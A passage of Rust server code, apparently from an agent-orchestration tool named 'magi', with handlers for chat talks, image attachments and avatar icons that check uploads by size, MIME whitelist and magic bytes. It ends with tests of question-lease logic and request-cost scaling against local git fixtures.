8249 State(ui): State<Arc<Ui>>,
8250 Path(id): Path<String>,
8251) -> ApiResult<Json<TalkView>> {
8252 blocking(move || {
8253 let id = resolve_talk(&ui.talks, &id)?;
8254 let mut talk = ui.talks.get(&id)?;
8255 talk::reopen(&mut talk, &ui.talks)?;
8256 let thinking = ui.is_thinking(&talk.id);
8257 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8258 })
8259 .await
8260}
8261
8262async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8272 blocking(move || {
8273 let id = resolve_talk(&ui.talks, &id)?;
8274 ui.talks.remove(&id)?;
8275 Ok(StatusCode::NO_CONTENT)
8276 })
8277 .await
8278}
8279
8280fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8282 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8283}
8284
8285async fn talk_attachment_post(
8288 State(ui): State<Arc<Ui>>,
8289 Path(id): Path<String>,
8290 headers: HeaderMap,
8291 body: Bytes,
8292) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8293 let mime = validate_attachment(&headers, &body)?;
8294 let name = filename_header(&headers);
8295 let data = body.to_vec();
8296 blocking(move || {
8297 let id = resolve_talk(&ui.talks, &id)?;
8298 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8299 Ok((StatusCode::CREATED, Json(att)))
8300 })
8301 .await
8302}
8303
8304async fn talk_attachment_get(
8307 State(ui): State<Arc<Ui>>,
8308 Path((id, att)): Path<(String, String)>,
8309) -> ApiResult<Response> {
8310 blocking(move || {
8311 let id = resolve_talk(&ui.talks, &id)?;
8312 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8313 return Err(ApiError::not_found(format!(
8314 "talk {id} has no attachment `{att}`"
8315 )));
8316 };
8317 Ok(attachment_response(&meta.mime, data))
8318 })
8319 .await
8320}
8321
8322fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8325 let mut id = String::new();
8326 for b in p.id.bytes() {
8327 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8328 id.push(char::from(b));
8329 } else {
8330 id.push_str(&format!("%{b:02X}"));
8331 }
8332 }
8333 format!(
8334 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8335 persona_icon::fingerprint(p.icon.as_deref())
8336 )
8337}
8338
8339#[derive(Debug, Default, Deserialize)]
8340struct AvatarQuery {
8341 persona: Option<String>,
8342 builtin: Option<String>,
8344}
8345
8346const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8348
8349fn builtin_avatar(id: &str) -> Response {
8350 svg_avatar(persona_icon::builtin_svg(id))
8351}
8352
8353async fn operator_avatar() -> Response {
8354 svg_avatar(persona_icon::operator_svg())
8355}
8356
8357fn svg_avatar(svg: &'static str) -> Response {
8358 (
8359 [
8360 (header::CONTENT_TYPE, "image/svg+xml"),
8361 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8362 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8363 (header::CACHE_CONTROL, "no-cache"),
8364 ],
8365 svg,
8366 )
8367 .into_response()
8368}
8369
8370fn magi_icon_path(home: &FsPath) -> PathBuf {
8372 home.join("magi-icon.data")
8373}
8374
8375fn read_magi_icon(home: &FsPath) -> Option<String> {
8376 let path = magi_icon_path(home);
8377 let metadata = std::fs::metadata(&path).ok()?;
8378 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8379 return None;
8380 }
8381 let file = std::fs::File::open(path).ok()?;
8382 use std::io::Read;
8383 let mut text = String::new();
8384 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8385 .read_to_string(&mut text)
8386 .ok()?;
8387 if text.len() > persona_icon::ICON_MAX_BYTES {
8388 return None;
8389 }
8390 text.starts_with("data:").then_some(text)
8391}
8392
8393fn magi_icon_url(home: &FsPath) -> String {
8394 format!(
8395 "/avatars/magi?v={}",
8396 persona_icon::fingerprint(read_magi_icon(home).as_deref())
8397 )
8398}
8399
8400async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8401 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8402}
8403
8404#[derive(Deserialize)]
8405struct MagiIconUpload {
8406 icon: String,
8407}
8408
8409fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8410 if !icon.starts_with("data:") {
8411 anyhow::bail!("upload a raster image");
8412 }
8413 let (mime, bytes) = persona_icon::load(icon)?;
8414 if sniffed_mime(&bytes) != Some(mime) {
8415 anyhow::bail!("image content does not match its type");
8416 }
8417 std::fs::create_dir_all(home)?;
8418 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8419 let temp = home.join(format!(".magi-icon-{token}.tmp"));
8420 let result = (|| -> Result<()> {
8421 use std::io::Write;
8422 let mut file = std::fs::OpenOptions::new()
8423 .write(true)
8424 .create_new(true)
8425 .open(&temp)?;
8426 file.write_all(icon.as_bytes())?;
8427 file.sync_all()?;
8428 std::fs::rename(&temp, magi_icon_path(home))?;
8429 Ok(())
8430 })();
8431 let _ = std::fs::remove_file(temp);
8432 result?;
8433 Ok(())
8434}
8435
8436async fn magi_icon_put(
8437 State(ui): State<Arc<Ui>>,
8438 Json(upload): Json<MagiIconUpload>,
8439) -> ApiResult<Json<serde_json::Value>> {
8440 blocking(move || {
8441 if !upload.icon.starts_with("data:") {
8442 return Err(ApiError::bad_request("upload a raster image"));
8443 }
8444 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8445 if sniffed_mime(&bytes) != Some(mime) {
8446 return Err(ApiError::bad_request(
8447 "image content does not match its type",
8448 ));
8449 }
8450 save_magi_icon(&ui.home, &upload.icon)?;
8451 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8452 })
8453 .await
8454}
8455
8456async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8457 blocking(move || {
8458 match std::fs::remove_file(magi_icon_path(&ui.home)) {
8459 Ok(()) => (),
8460 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8461 Err(e) => return Err(anyhow::Error::from(e).into()),
8462 }
8463 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8464 })
8465 .await
8466}
8467
8468async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8469 let icon = (q.builtin.is_none())
8470 .then(|| read_magi_icon(&ui.home))
8471 .flatten();
8472 let mut response = match icon
8473 .as_deref()
8474 .and_then(|icon| persona_icon::load(icon).ok())
8475 {
8476 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8477 attachment_response(mime, bytes)
8478 }
8479 _ => svg_avatar(persona_icon::magi_svg()),
8480 };
8481 response
8482 .headers_mut()
8483 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8484 response
8485}
8486
8487async fn talk_avatar(
8492 State(ui): State<Arc<Ui>>,
8493 Path(id): Path<String>,
8494 Query(q): Query<AvatarQuery>,
8495) -> ApiResult<Response> {
8496 blocking(move || {
8497 let id = resolve_talk(&ui.talks, &id)?;
8498 let talk = ui.talks.get(&id)?;
8499 let wanted = q
8500 .persona
8501 .as_deref()
8502 .map(str::trim)
8503 .filter(|p| !p.is_empty())
8504 .unwrap_or(&talk.persona)
8505 .to_owned();
8506 let specs = match Config::discover(&talk.repo, None) {
8507 Ok((cfg, _)) => cfg.talk.personas,
8508 Err(e) => {
8509 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8510 Vec::new()
8511 }
8512 };
8513 let Some(found) = persona::find(&specs, &wanted) else {
8514 return Ok(builtin_avatar(persona::DEFAULT_ID));
8515 };
8516 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8517 return Ok(builtin_avatar(&found.id));
8518 };
8519 match persona_icon::load(icon) {
8520 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8521 let mut res = attachment_response(mime, bytes);
8522 res.headers_mut().insert(
8523 header::CACHE_CONTROL,
8524 header::HeaderValue::from_static("no-cache"),
8525 );
8526 Ok(res)
8527 }
8528 Ok((mime, _)) => {
8529 tracing::warn!(
8530 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8531 found.id
8532 );
8533 Ok(builtin_avatar(&found.id))
8534 }
8535 Err(e) => {
8536 tracing::warn!(
8537 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8538 found.id
8539 );
8540 Ok(builtin_avatar(&found.id))
8541 }
8542 }
8543 })
8544 .await
8545}
8546
8547fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8558 if data.len() > ATTACHMENT_MAX_BYTES {
8559 return Err(ApiError::bad_request(format!(
8560 "attachment is {} bytes, over the {} MiB limit",
8561 data.len(),
8562 ATTACHMENT_MAX_BYTES / (1024 * 1024)
8563 ))
8564 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8565 }
8566 if data.is_empty() {
8567 return Err(ApiError::bad_request("attachment is empty"));
8568 }
8569 let declared = declared_mime(headers)?;
8570 match sniffed_mime(data) {
8571 Some(sniffed) if sniffed == declared => Ok(declared),
8572 Some(sniffed) => Err(ApiError::bad_request(format!(
8573 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8574 ))),
8575 None => Err(ApiError::bad_request(
8576 "the file's bytes do not match any accepted image format",
8577 )),
8578 }
8579}
8580
8581fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8585 let raw = headers
8586 .get(header::CONTENT_TYPE)
8587 .and_then(|v| v.to_str().ok())
8588 .unwrap_or("")
8589 .split(';')
8590 .next()
8591 .unwrap_or("")
8592 .trim()
8593 .to_ascii_lowercase();
8594 ATTACHMENT_MIME_WHITELIST
8595 .iter()
8596 .find(|&&m| m == raw)
8597 .copied()
8598 .ok_or_else(|| {
8599 if raw == "image/svg+xml" {
8600 ApiError::bad_request(
8601 "SVG is not accepted: it can carry active content (e.g. a <script>), \
8602 not just a picture",
8603 )
8604 } else if raw.is_empty() {
8605 ApiError::bad_request("Content-Type is required for an attachment upload")
8606 } else {
8607 ApiError::bad_request(format!(
8608 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8609 image/gif or image/webp"
8610 ))
8611 }
8612 })
8613}
8614
8615fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8618 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8619 Some("image/png")
8620 } else if data.starts_with(b"\xff\xd8\xff") {
8621 Some("image/jpeg")
8622 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8623 Some("image/gif")
8624 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8625 Some("image/webp")
8626 } else {
8627 None
8628 }
8629}
8630
8631fn filename_header(headers: &HeaderMap) -> String {
8637 headers
8638 .get(FILENAME_HEADER)
8639 .and_then(|v| v.to_str().ok())
8640 .map(str::trim)
8641 .filter(|s| !s.is_empty())
8642 .unwrap_or("attachment")
8643 .to_owned()
8644}
8645
8646fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8653 let content_type = ATTACHMENT_MIME_WHITELIST
8654 .iter()
8655 .find(|&&m| m == mime)
8656 .copied()
8657 .unwrap_or("application/octet-stream");
8658 (
8659 [
8660 (header::CONTENT_TYPE, content_type),
8661 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8662 ],
8663 body,
8664 )
8665 .into_response()
8666}
8667
8668async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8676 let repo = repo.to_path_buf();
8677 blocking(move || {
8678 let (cfg, _) = Config::discover(&repo, None)?;
8679 Ok(cfg)
8680 })
8681 .await
8682}
8683
8684fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8690 let mut hits = ids
8691 .into_iter()
8692 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8693 match (hits.next(), hits.next()) {
8694 (Some(one), None) => Ok(one),
8695 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8696 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8697 "`{prefix}` matches more than one {what}, including {a} and {b}"
8698 ))),
8699 }
8700}
8701
8702#[cfg(test)]
8703mod tests {
8704
8705 #[test]
8706 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
8707 let dir = tempfile::tempdir().unwrap();
8708 let store = ask::Questions::at(dir.path().join("questions"));
8709 let mut q = Question::new(
8710 "task".to_owned(),
8711 "conduct".to_owned(),
8712 "conduct".to_owned(),
8713 "choose".to_owned(),
8714 String::new(),
8715 vec!["keep".to_owned()],
8716 );
8717 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
8718 q.say("why?").unwrap();
8719 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
8720 assert!(!QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8721 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
8722 store.put(&mut q).unwrap();
8723 assert!(QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8724 assert_eq!(store.count_needs_owner(), 1);
8725 store.beat(&q.id, ask::WaiterKind::Deputy);
8726 assert!(!QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8727 assert_eq!(store.count_needs_owner(), 0);
8728 let mut stale = store.read_lease(&q.id).unwrap();
8729 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
8730 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
8731 let view = QuestionView::of(q.clone(), &store, true);
8732 assert!(view.deputy_exhausted);
8733 assert!(view.waiting_on_agent);
8734 assert_eq!(view.question.choices, ["keep"]);
8735 store.drop_lease(&q.id);
8736 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
8737 assert!(!QuestionView::of(q, &store, true).deputy_exhausted);
8738 }
8739
8740 #[test]
8741 fn holder_reads_the_lease_not_the_record() {
8742 let mut q = Question::new(
8743 "run".to_owned(),
8744 "implement".to_owned(),
8745 "impl-A".to_owned(),
8746 "which?".to_owned(),
8747 String::new(),
8748 Vec::new(),
8749 );
8750 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8751 q.cwd = Some("/tmp".to_owned());
8752 assert_eq!(holder_of(&q, None), Some("nobody"));
8753 let beat = |kind, ago: i64| ask::Lease {
8754 kind,
8755 pid: 1,
8756 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8757 .unwrap(),
8758 };
8759 let fresh = beat(ask::WaiterKind::Asker, 1);
8760 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8761 let daemon = beat(ask::WaiterKind::Daemon, 1);
8762 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
8763 let stale = beat(ask::WaiterKind::Asker, 3600);
8764 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8765
8766 let mut c = Question::new(
8769 "task".to_owned(),
8770 crate::conduct::NODE.to_owned(),
8771 "conduct".to_owned(),
8772 "which?".to_owned(),
8773 String::new(),
8774 Vec::new(),
8775 );
8776 assert_eq!(holder_of(&c, None), Some("nobody"));
8777 c.cwd = Some("/tmp".to_owned());
8778 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8779 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8780 let deputy = beat(ask::WaiterKind::Deputy, 1);
8781 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8782 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8783
8784 let mut r = Question::new(
8786 String::new(),
8787 crate::bump::NOTICE_NODE.to_owned(),
8788 "release-watch".to_owned(),
8789 "stuck?".to_owned(),
8790 String::new(),
8791 vec!["hold".to_owned()],
8792 );
8793 assert_eq!(holder_of(&r, None), Some("nobody"));
8794 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8795 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8796 r.deputy = None;
8798 r.seat = "bump".to_owned();
8799 assert_eq!(holder_of(&r, None), None);
8800
8801 let mut m = Question::new(
8804 "run".to_owned(),
8805 crate::land::APPROVAL_NODE.to_owned(),
8806 "land".to_owned(),
8807 "merge?".to_owned(),
8808 String::new(),
8809 Vec::new(),
8810 );
8811 assert_eq!(holder_of(&m, None), Some("nobody"));
8812 assert_eq!(
8813 holder_of(&m, Some(&fresh)),
8814 Some("nobody"),
8815 "a lease with no deputy is not a listener"
8816 );
8817 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8818 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8819 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8820 assert_eq!(holder_of(&m, None), Some("nobody"));
8821 }
8822
8823 fn stub_config() -> Config {
8824 Config {
8827 agents: vec![crate::config::AgentSpec {
8828 id: "stub".to_owned(),
8829 kind: AgentKind::Command,
8830 model: None,
8831 command: vec!["true".to_owned()],
8832 extra_args: Vec::new(),
8833 env: Default::default(),
8834 prompt_delivery: None,
8835 }],
8836 ..Config::default()
8837 }
8838 }
8839
8840 fn plain_question(seat: &str) -> Question {
8841 Question::new(
8842 String::new(),
8843 "n".to_owned(),
8844 seat.to_owned(),
8845 "s".to_owned(),
8846 String::new(),
8847 Vec::new(),
8848 )
8849 }
8850
8851 #[test]
8852 fn deputies_enabled_follows_the_config() {
8853 let on = stub_config();
8854 assert!(crate::deputy::can_start(Some(&on), ""));
8855 assert!(crate::deputy::can_start(Some(&on), "stub"));
8856 let mut off = on.clone();
8857 off.daemon.max_deputies = 0;
8858 assert!(!crate::deputy::can_start(Some(&off), ""));
8859 let mut empty = on;
8860 empty.agents.clear();
8861 assert!(!crate::deputy::can_start(Some(&empty), ""));
8862 assert!(!crate::deputy::can_start(None, ""));
8863 }
8864
8865 #[test]
8866 fn question_views_load_the_config_once() {
8867 let dir = TempDir::new().unwrap();
8868 let store = ask::Questions::at(dir.path().to_path_buf());
8869 let mut with_deputy = plain_question("b");
8870 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8871 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8872
8873 let calls = std::cell::Cell::new(0usize);
8874 let views = question_views(qs.clone(), &store, || {
8875 calls.set(calls.get() + 1);
8876 Some(stub_config())
8877 });
8878 assert_eq!(calls.get(), 1);
8879 assert_eq!(views.len(), 3);
8880 for (v, q) in views.iter().zip(&qs) {
8881 assert_eq!(
8882 v.deputies_enabled,
8883 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8884 );
8885 }
8886
8887 let views = question_views(qs, &store, || None);
8888 assert!(views.iter().all(|v| !v.deputies_enabled));
8889
8890 let calls = std::cell::Cell::new(0usize);
8891 let views = question_views(Vec::new(), &store, || {
8892 calls.set(calls.get() + 1);
8893 None
8894 });
8895 assert!(views.is_empty());
8896 assert_eq!(calls.get(), 0);
8897 }
8898
8899 use pretty_assertions::assert_eq;
8900 use serde_json::Value;
8901 use tempfile::TempDir;
8902 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8903
8904 use super::*;
8905 use crate::config::Config;
8906 use crate::queue::Source;
8907
8908 const SETTLE_STEPS: usize = 3_000;
8919
8920 struct Fixture {
8926 home: TempDir,
8927 addr: SocketAddr,
8928 }
8929
8930 impl Fixture {
8931 async fn start() -> Self {
8932 Self::with_loop(launch_idle).await
8933 }
8934
8935 async fn with_loop(launch: Launch) -> Self {
8937 let home = TempDir::new().expect("temp home");
8938 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8939 Self { home, addr }
8940 }
8941
8942 async fn with_repo(repo: PathBuf) -> Self {
8946 let home = TempDir::new().expect("temp home");
8947 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8948 Self { home, addr }
8949 }
8950
8951 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8954 let home = TempDir::new().expect("temp home");
8955 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8956 Self { home, addr }
8957 }
8958
8959 async fn serve(
8960 home: &FsPath,
8961 repo: PathBuf,
8962 launch: Launch,
8963 machine: Option<PathBuf>,
8964 ) -> SocketAddr {
8965 let queue = Queue::at(home.join("queue"));
8966 let runs = home.join("runs");
8967 std::fs::create_dir_all(&runs).expect("runs dir");
8968 let worktrees = home.join("wt").join("magi");
8969 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8970 let ui = Ui::new(
8971 queue,
8972 Questions::at(home.join("questions")),
8973 Talks::at(home.join("talks")),
8974 runs,
8975 home.to_path_buf(),
8976 repo,
8977 )
8978 .with_worktrees_root(worktrees)
8979 .with_machine_config(machine)
8980 .with_launch(launch);
8981 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8982 .await
8983 .expect("bind loopback");
8984 let addr = listener.local_addr().expect("local addr");
8985 tokio::spawn(async move {
8986 let router = ui
8987 .router()
8988 .layer(axum::middleware::from_fn(request_cost::observe));
8989 let _ = axum::serve(listener, router).await;
8990 });
8991 addr
8992 }
8993
8994 fn queue(&self) -> Queue {
8995 Queue::at(self.home.path().join("queue"))
8996 }
8997
8998 fn questions(&self) -> Questions {
8999 Questions::at(self.home.path().join("questions"))
9000 }
9001
9002 fn talks(&self) -> Talks {
9003 Talks::at(self.home.path().join("talks"))
9004 }
9005
9006 fn runs(&self) -> PathBuf {
9007 self.home.path().join("runs")
9008 }
9009
9010 async fn get(&self, path: &str) -> Res {
9011 request(self.addr, "GET", path, None).await
9012 }
9013
9014 async fn head(&self, path: &str) -> Res {
9019 request(self.addr, "HEAD", path, None).await
9020 }
9021
9022 async fn post(&self, path: &str, body: Option<&str>) -> Res {
9023 request(self.addr, "POST", path, body).await
9024 }
9025
9026 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9027 request_with(self.addr, "GET", path, None, extra).await
9028 }
9029
9030 async fn delete(&self, path: &str) -> Res {
9031 request(self.addr, "DELETE", path, None).await
9032 }
9033
9034 async fn put(&self, path: &str, body: &str) -> Res {
9035 request(self.addr, "PUT", path, Some(body)).await
9036 }
9037
9038 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9040 request_bytes(self.addr, path, headers, body).await
9041 }
9042 }
9043
9044 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9047 let tmp = TempDir::new().unwrap();
9048 let mut repos = Vec::new();
9049 for name in ["one", "two"] {
9050 let repo = tmp.path().join(name);
9051 let origin = tmp.path().join(format!("{name}.git"));
9052 std::fs::create_dir_all(&repo).unwrap();
9053 crate::git::git(&repo, &["init", "-b", "main"])
9054 .await
9055 .unwrap();
9056 std::fs::write(
9057 repo.join("magi.toml"),
9058 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9059 )
9060 .unwrap();
9061 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9062 crate::git::git(
9063 &repo,
9064 &[
9065 "-c",
9066 "user.name=fixture",
9067 "-c",
9068 "user.email=fixture@example.invalid",
9069 "commit",
9070 "-m",
9071 "fixture",
9072 ],
9073 )
9074 .await
9075 .unwrap();
9076 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9077 .await
9078 .unwrap();
9079 crate::git::git(
9080 &repo,
9081 &["remote", "add", "origin", origin.to_str().unwrap()],
9082 )
9083 .await
9084 .unwrap();
9085 crate::git::git(&repo, &["push", "origin", "main"])
9086 .await
9087 .unwrap();
9088 crate::git::git(
9089 &repo,
9090 &[
9091 "symbolic-ref",
9092 "refs/remotes/origin/HEAD",
9093 "refs/remotes/origin/main",
9094 ],
9095 )
9096 .await
9097 .unwrap();
9098 let (cfg, _) = Config::discover(&repo, None).unwrap();
9099 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9100 repos.push(repo);
9101 }
9102 let repos: [PathBuf; 2] = repos.try_into().unwrap();
9103 (tmp, repos)
9104 }
9105
9106 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9107 let (tmp, repos) = performance_repositories().await;
9108 let machine = tmp.path().join("machine.toml");
9109 std::fs::write(&machine, "").unwrap();
9110 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9111 (tmp, repos, fx)
9112 }
9113
9114 fn seed_performance(
9115 fx: &Fixture,
9116 repos: &[PathBuf; 2],
9117 questions: usize,
9118 runs: usize,
9119 items: usize,
9120 ) {
9121 for i in fx.questions().list().len()..questions {
9123 let mut question = Question::new(
9124 "20261001-000000-0000".into(),
9125 "implement".into(),
9126 "impl-A".into(),
9127 format!("question {i}"),
9128 "context".into(),
9129 vec!["yes".into(), "no".into()],
9130 );
9131 question.id = format!("20261003-000000-{i:04x}");
9132 fx.questions().put(&mut question).unwrap();
9133 }
9134 for i in run_ids(&fx.runs()).len()..runs {
9135 write_run_repo(
9136 &fx.runs(),
9137 &format!("20261001-000000-{i:04x}"),
9138 RunStatus::Ready,
9139 repos[i % 2].to_str().unwrap(),
9140 );
9141 }
9142 for i in fx.talks().list().len()..items {
9143 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9144 let mut talk = fx.talks().get(&id).unwrap();
9145 talk.repo = repos[i % 2].clone();
9146 fx.talks().put(&mut talk).unwrap();
9147 let mut task = crate::queue::Task::new(
9148 format!("task {i}"),
9149 "instruction".into(),
9150 repos[i % 2].clone(),
9151 crate::queue::Source::Agent {
9152 run: id,
9153 node: crate::queue::CHAT_NODE.into(),
9154 },
9155 );
9156 task.id = format!("20261004-000000-{i:04x}");
9157 fx.queue().put(&mut task).unwrap();
9158 if i < crate::notices::CAP {
9160 Notices::at(fx.home.path().join("notifications"))
9161 .raise(Notice::info(&format!("notice-{i}"), "notification"))
9162 .unwrap();
9163 }
9164 }
9165 assert_eq!(fx.questions().list().len(), questions);
9166 assert_eq!(run_ids(&fx.runs()).len(), runs);
9167 assert_eq!(fx.talks().list().len(), items);
9168 assert_eq!(fx.queue().list().len(), items);
9169 assert_eq!(
9170 Notices::at(fx.home.path().join("notifications"))
9171 .list()
9172 .len(),
9173 items.min(crate::notices::CAP)
9174 );
9175 }
9176
9177 fn request_counts(res: &Res) -> (usize, usize) {
9178 assert_eq!(res.status, 200, "{}", res.body);
9179 (
9180 res.header("x-test-discoveries").unwrap().parse().unwrap(),
9181 res.header("x-test-git").unwrap().parse().unwrap(),
9182 )
9183 }
9184
9185 #[tokio::test]
9186 async fn list_request_cost_is_independent_of_record_count() {
9187 let (_tmp, repos, fx) = performance_fixture().await;
9188 let mut previous = None;
9189 for n in [4, 60] {
9190 seed_performance(&fx, &repos, n, n, n);
9191 let mut costs = Vec::new();
9192 for (path, discoveries) in [
9193 ("/api/questions", 1),
9194 ("/api/talks", 2),
9195 ("/api/health", 1),
9196 ("/api/stats", 1),
9197 ] {
9198 for repo in &repos {
9201 let cache = repo.join(".git/magi/config");
9202 if cache.exists() {
9203 std::fs::remove_dir_all(cache).unwrap();
9204 }
9205 }
9206 let cost = request_counts(&fx.get(path).await);
9207 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9208 assert_eq!(cost.0, discoveries, "{path}, N={n}");
9209 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9210 costs.push(cost);
9211 }
9212 if let Some(previous) = previous {
9213 assert_eq!(costs, previous);
9214 }
9215 previous = Some(costs);
9216 }
9217 }
9221
9222 #[tokio::test]
9225 async fn list_handler_cost_without_transport() {
9226 let (_tmp, repos) = performance_repositories().await;
9227 let fx = Fixture {
9228 home: TempDir::new().unwrap(),
9229 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9230 };
9231 let ui = Arc::new(
9232 Ui::new(
9233 fx.queue(),
9234 fx.questions(),
9235 fx.talks(),
9236 fx.runs(),
9237 fx.home.path().to_path_buf(),
9238 repos[0].clone(),
9239 )
9240 .with_worktrees_root(fx.home.path().join("wt")),
9241 );
9242 let mut previous = None;
9243 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9244 seed_performance(&fx, &repos, n, runs, items);
9245 let mut costs = Vec::new();
9246 for endpoint in ["questions", "talks", "health", "stats"] {
9247 for repo in &repos {
9248 let cache = repo.join(".git/magi/config");
9249 if cache.exists() {
9250 std::fs::remove_dir_all(cache).unwrap();
9251 }
9252 }
9253 let (_, cost) = request_cost::measure(async {
9254 match endpoint {
9255 "questions" => {
9256 let _ = questions_list(State(ui.clone())).await.unwrap();
9257 }
9258 "talks" => {
9259 let _ = talks_list(
9260 State(ui.clone()),
9261 Query(ListQuery {
9262 limit: None,
9263 ids: None,
9264 }),
9265 )
9266 .await
9267 .unwrap();
9268 }
9269 "health" => {
9270 let _ = health(State(ui.clone())).await.unwrap();
9271 }
9272 _ => {
9273 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9274 .await
9275 .unwrap();
9276 }
9277 }
9278 })
9279 .await;
9280 eprintln!("{endpoint} handler N={n}: {cost:?}");
9281 assert_eq!(
9282 cost.0,
9283 if endpoint == "talks" { 2 } else { 1 },
9284 "{endpoint}"
9285 );
9286 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9287 costs.push(cost);
9288 }
9289 if let Some(previous) = previous {
9290 assert_eq!(costs, previous);
9291 }
9292 previous = Some(costs);
9293 }
9294 }
9295
9296 #[tokio::test]
9297 async fn list_request_cost_scopes_do_not_mix() {
9298 let (_tmp, repos, fx) = performance_fixture().await;
